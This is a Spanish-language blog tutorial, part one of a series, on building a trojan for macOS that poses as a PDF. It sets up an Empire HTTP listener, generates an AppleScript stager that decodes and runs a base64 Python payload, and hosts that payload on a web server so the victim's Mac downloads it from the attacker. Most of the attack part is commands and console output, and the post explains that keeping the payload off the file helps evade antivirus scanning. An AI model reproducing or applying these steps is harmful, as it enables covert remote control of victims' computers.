BlogCyber Weapons Lab

Hackear macOS: Cómo crear un troyano PDF falso con AppleScript, Parte 1 (Creando el Stager)

[*]

Si bien los piratas informáticos se han aprovechado de numerosas vulnerabilidades en los productos de Adobe para entregar cargas útiles a los usuarios de Windows a través de archivos PDF, un archivo PDF malicioso también puede causar estragos en una Mac que usa la aplicación Vista previa predeterminada. Así que piénselo dos veces antes de hacer doble clic en un PDF abierto en su MacBook; podría ser un troyano con un rootkit en su interior.

En esta pequeña serie de dos partes, detallaré cómo un pirata informático podría crear un archivo que parece ser un archivo PDF normal, pero que en realidad es un AppleScript troyano que ejecutará silenciosamente código malicioso en una MacBook u otra computadora Mac de destino. En el GIF a continuación, puede ver un PDF real que se abre, así como su versión PDF falsa con el código malicioso.

Permítanme explicar la descripción general de la arquitectura de este ataque con mayor detalle.

El sistema del atacante se configurará para utilizar Empire y alojar un script de Python malicioso. Se creará un archivo AppleScript y se hará que aparezca como un PDF legítimo. El AppleScript, cuando la víctima lo abre, primero descargará y abrirá silenciosamente un PDF real para convencerlos de que el PDF falso es real, luego descargará el script Python malicioso del servidor del atacante y lo ejecutará. Después de que se ejecute, se establecerá una conexión entre la Mac de destino y el servidor del atacante, lo que permitirá al atacante controlar la computadora de forma remota.

Paso 1: Póngase cómodo con Empire

Para empezar, usaré Empire (anteriormente llamado PowerShell Empire), un marco de post-explotación conocido por su capacidad para generar cargas útiles de PowerShell difíciles de detectar para Windows.

Empire depende en gran medida del trabajo de varios otros proyectos por su funcionalidad subyacente y módulos ricos en características y, afortunadamente, también es compatible con cargas útiles de Python que se pueden usar contra macOS y otros sistemas operativos similares a Unix.

Se anima a los lectores que no estén familiarizados con esta herramienta a que revisen las guías para principiantes de Empire en Null Byte, ya que no explicaré cómo instalar Empire en Kali Linux ni detallaré todas las opciones disponibles de stager y listener.

Los pasos a continuación se pueden realizar usando Kali Linux (para ataques basados ​​en redes locales) o desde un servidor privado virtual Debian (para ataques basados ​​en globales).

Paso 2: crear un escucha HTTP Empire

Para comenzar, cambie (cd) al directorio Empire / y use el siguiente comando.

~# cd Empire
~/Empire# ./empire

Oyentes abiertos escuchando puertos en el servidor del atacante que ejecuta Empire. Estos puertos son utilizados posteriormente por la MacBook comprometida para conectarse de nuevo al oyente Empire. Se creará un nuevo oyente para recibir conexiones entrantes del MacBook.

Para ver los oyentes disponibles, use el siguiente oyentes mando.

(Empire) > listeners

[!] No listeners currently active

(Empire: listeners) > help

Listener Commands
=================
agents            Jump to the agents menu.
back              Go back to the main menu.
creds             Display/return credentials from the database.
delete            Delete listener(s) from the database
disable           Disables (stops) one or all listeners. The listener(s) will not start automatically with Empire
edit              Change a listener option, will not take effect until the listener is restarted
enable            Enables and starts one or all listners.
exit              Exit Empire.
help              Displays the help menu.
info              Display information for the given active listener.
kill              Kill one or all active listeners.
launcher          Generate an initial launcher for a listener.
list              List all active listeners (or agents).
listeners         Jump to the listeners menu.
main              Go back to the main menu.
resource          Read and execute a list of Empire commands from a file.
uselistener       Use an Empire listener module.
usestager         Use an Empire stager.

En una instalación nueva de Empire, no habrá nuevos oyentes y se informará “No hay oyentes activos actualmente”. Para simplificar las cosas, se puede habilitar un oyente HTTP estándar usando el siguiente uselistaner mando.

(Empire: listeners) > uselistener http
(Empire: listeners/http) >

Una vez establecido el tipo de oyente, info puede ser usado para ver las opciones disponibles.

(Empire: listeners/http) > info

    Name: HTTP[S]
Category: client_server

Authors:
  @harmj0y

Description:
  Starts a http[s] listener (PowerShell or Python) that uses a
  GET/POST approach.

HTTP[S] Options:

  Name              Required    Value                            Description
  ----              --------    -------                          -----------
  SlackToken        False                                        Your SlackBot API token to communicate with your Slack instance.
  ProxyCreds        False       default                          Proxy credentials ([domain]username:password) to use for request (default, none, or other).
  KillDate          False                                        Date for the listener to exit (MM/dd/yyyy).
  Name              True        http                             Name for the listener.
  Launcher          True        powershell -noP -sta -w 1 -enc   Launcher string.
  DefaultDelay      True        5                                Agent delay/reach back interval (in seconds).
  DefaultLostLimit  True        60                               Number of missed checkins before exiting
  WorkingHours      False                                        Hours for the agent to operate (09:00-17:00).
  SlackChannel      False       #general                         The Slack channel or DM that notifications will be sent to.
  DefaultProfile    True        /admin/get.php,/news.php,/login/ Default communication profile for the agent.
                                process.php|Mozilla/5.0 (Windows
                                NT 6.1; WOW64; Trident/7.0;
                                rv:11.0) like Gecko
  Host              True        http://1xx.xxx.xx.xx3:80         Hostname/IP for staging.
  CertPath          False                                        Certificate path for https listeners.
  DefaultJitter     True        0.0                              Jitter in agent reachback interval (0.0-1.0).
  Proxy             False       default                          Proxy to use for request (default, none, or other).
  UserAgent         False       default                          User-agent string to use for the staging request (default, none, or other).
  StagingKey        True        7b24afc8b47udoow8eeo548d672171c5 Staging key for initial agent negotiation.
  BindIP            True        0.0.0.0                          The IP to bind to on the control server.
  Port              True        80                               Port for the listener.
  ServerVersion     True        Microsoft-IIS/7.5                Server header for the control server.
  StagerURI         False                                        URI for the stager. Must use /download/. Example: /download/stager.php

Hay bastantes opciones disponibles que (desafortunadamente) están más allá del alcance de este artículo. Las opciones predeterminadas están bien para continuar, pero se anima a los lectores a jugar con las opciones disponibles y configurar los oyentes para satisfacer mejor sus necesidades.

A continuación, asegúrese Puerto y Anfitrión están configurados para 80 y 0.0.0.0, respectivamente, ya que estas opciones son fundamentales para seguir al pie de la letra. Puede configurarlos usando los siguientes dos comandos. El uso de un host 0.0.0.0 indicará al oyente de Empire que esté disponible en todas las interfaces. Si Empire se usa contra un MacBook en una red local, el oyente estará disponible en la dirección IP local del atacante (por ejemplo, 192.168.0.4). Alternativamente, si Empire está instalado en un VPS, se podrá acceder al oyente a través de la dirección IP remota del atacante para el VPS.

(Empire: listeners/http) > set Port 80
(Empire: listeners/http) > set Host 0.0.0.0

Para iniciar el oyente Empire, use el ejecutar mando. Eventualmente debería decir “¡El oyente se inició correctamente!

(Empire: listeners/http) > execute

[*] Starting listener 'http'
 * Serving Flask app "http" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off
[+] Listener successfully started!

Para verificar que el oyente ha comenzado, el oyentes El comando se puede utilizar de nuevo. Una lista de todos tus oyentes activos. aparecerá. Toma nota del oyente Nombre aquí. Se establecerá automáticamente en “http” de forma predeterminada. Si se crean varios oyentes durante la prueba de Empire, es posible que los oyentes adicionales se establezcan de forma predeterminada en “http1” y “http2”.

(Empire: listeners/http) > listeners

[*] Active listeners:

  Name              Module          Host                                 Delay/Jitter   KillDate
  ----              ------          ----                                 ------------   --------
  http              http            http://1x.xxx.xxx.x6:80                    5/0.0
  meterp            meterpreter     http://1xx.xxx.xx.xx3:80             n/a            n/a

Eso es todo para crear el oyente para este ataque. A continuación, se generará el stager.

Paso 3: Crea un MacOS Stager malicioso

Los Stagers, similares a las cargas útiles, se utilizan para crear una conexión con el oyente Empire cuando los abre el usuario víctima.

Para ver las etapas disponibles, escriba usestager, espacio y presione Pestaña en el teclado.

usestager <*PRESS TAB*>

Existen casi una docena Stagers macOS dedicados (denominados “osx”) disponibles en Empire. En este artículo, mostraré cómo generar un stager de AppleScript.

(Empire) > usestager

multi/bash                osx/macho                 windows/launcher_bat
multi/launcher            osx/macro                 windows/launcher_lnk
multi/macro               osx/pkg                   windows/launcher_sct
multi/pyinstaller         osx/safari_launcher       windows/launcher_vbs
multi/war                 osx/teensy                windows/launcher_xml
osx/applescript           windows/backdoorLnkMacro  windows/macro
osx/application           windows/bunny             windows/macroless_msword
osx/ducky                 windows/csharp_exe        windows/shellcode
osx/dylib                 windows/dll               windows/teensy
osx/jar                   windows/ducky
osx/launcher              windows/hta

AppleScript es un lenguaje de secuencias de comandos creado por Apple. Permite a los usuarios controlar directamente las aplicaciones macOS que se pueden programar, así como partes del propio macOS. Los usuarios pueden crear scripts para automatizar tareas repetitivas, combinan funciones de varias aplicaciones con secuencias de comandos, agregar nuevas funciones a las aplicaciones de Mac, y crear flujos de trabajo complejos. AppleScript se incluye actualmente en todas las versiones de macOS como parte de un paquete de herramientas de automatización del sistema.

Para generar un stager de macOS en forma de AppleScript, use el siguiente comando.

(Empire) > usestager osx/applescript
(Empire: stager/osx/applescript) >

Luego, ver las opciones disponibles usando info. Establecer la opción Listener en el servidor de escucha creado en el paso anterior es importante. Esto le dirá al programador a qué servidor conectarse cuando se ejecute AppleScript en la MacBook de destino.

(Empire: stager/osx/applescript) > info

Name: AppleScript

Description:
    Generates AppleScript to execute the Empire stage0 launcher.

Options:
    Name        Required    Value       Description
    ----        --------    -----       -----------
    Listener    True        http        Listener to generate stage for.
    OutFile     False                   File to output AppleScript to, otherwise displayed on the screen.
    SafeChecks  True        True        Switch. Checks for LittleSnitch or a Sandbox, exit the staging process if true. Defaults to True.
    Language    True        python      Language of the stager to generate.
    UserAgent   False       default     User-agent string to use for the staging request (defauult, none, or other).

_

Configure la opción Listener usando el siguiente comando. El oyente Nombre debe usarse aquí (en este ejemplo, estamos usando http).

(Empire: stager/osx/applescript) > set Listener http

Luego, genere el stager AppleScript usando el generar mando.

(Empire: stager/osx/applescript) > generate

do shell script "echo "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb...KG91dCkp'));" | /usr/bin/python &"

Ahora, aquí es donde modifico el stager generado de una manera ligeramente diferente a su uso previsto. Primero, comprenda que el código de la siguiente captura de pantalla es una secuencia de comandos de Python codificada en base64. Este es el script destinado a ejecutarse en la MacBook y crear una conexión con el servidor del atacante. En lugar de incrustar la secuencia de comandos de Python en AppleScript, se alojará en el servidor del atacante y la computadora de la víctima lo descargará cuando se abra el PDF falso.

Se seguirá utilizando un AppleScript en los pasos posteriores para descargar y ejecutar el script de Python, pero no se incrustará en el AppleScript real. Hacerlo de esta manera puede ayudar a evadir la detección del antivirus, ya que la secuencia de comandos de Python real no está presente en el PDF falso mientras es escaneada por VirusTotal.

Paso 4: guarde macOS Stager

Antes de que se pueda guardar la secuencia de comandos de Python generada, es necesario crear un nuevo directorio. Este directorio se poblará con varios archivos importantes para el ataque.

Primero, abra una nueva terminal y use el mkdir comando para crear un directorio llamado archivos.

~# mkdir files

Luego, cambie al directorio files /.

~# cd files/
~/files#

La sección resaltada en el script de Python codificado en base64 (visto en el paso anterior) debe copiarse y guardarse en un archivo local llamado texto en el directorio archivos /. Esto se puede lograr usando nano.

~/files# nano script

Nano se puede guardar y cerrar presionando Control-X, luego Y, luego Entrar / Regresar.

Paso 5: Inicie un servidor web Python3

El servidor Python3 puede ser comenzó usando el siguiente comando.

~# python3 -m http.server 8080 &

Python3 creará un servidor web en el puerto 8080, haciendo que los archivos del directorio estén disponibles para cualquier persona. En este caso, queremos el texto archivo que contiene la secuencia de comandos de Python codificada para que esté disponible para el usuario de macOS de destino. El Y iniciará el servidor web Python3 como un proceso en segundo plano. Usar esto desde un VPS será útil, ya que hará que el servidor esté disponible incluso después de que se cierre la sesión SSH.

`/ tokyoneon ~/files
    > python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
_

Disfrazar el macOS Stager

Eso es todo para configurar el oyente Empire, generar el stager AppleScript y alojar el script Python en un servidor web. En mi próximo artículo, mostraré cómo crear un AppleScript para descargar y ejecutar silenciosamente el script de Python, así como cómo hacer que AppleScript aparezca como un PDF legítimo.

Imagen de portada de freestocks.org / PEXELS; Captura de pantalla y GIF de tokyoneon / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba
Cerrar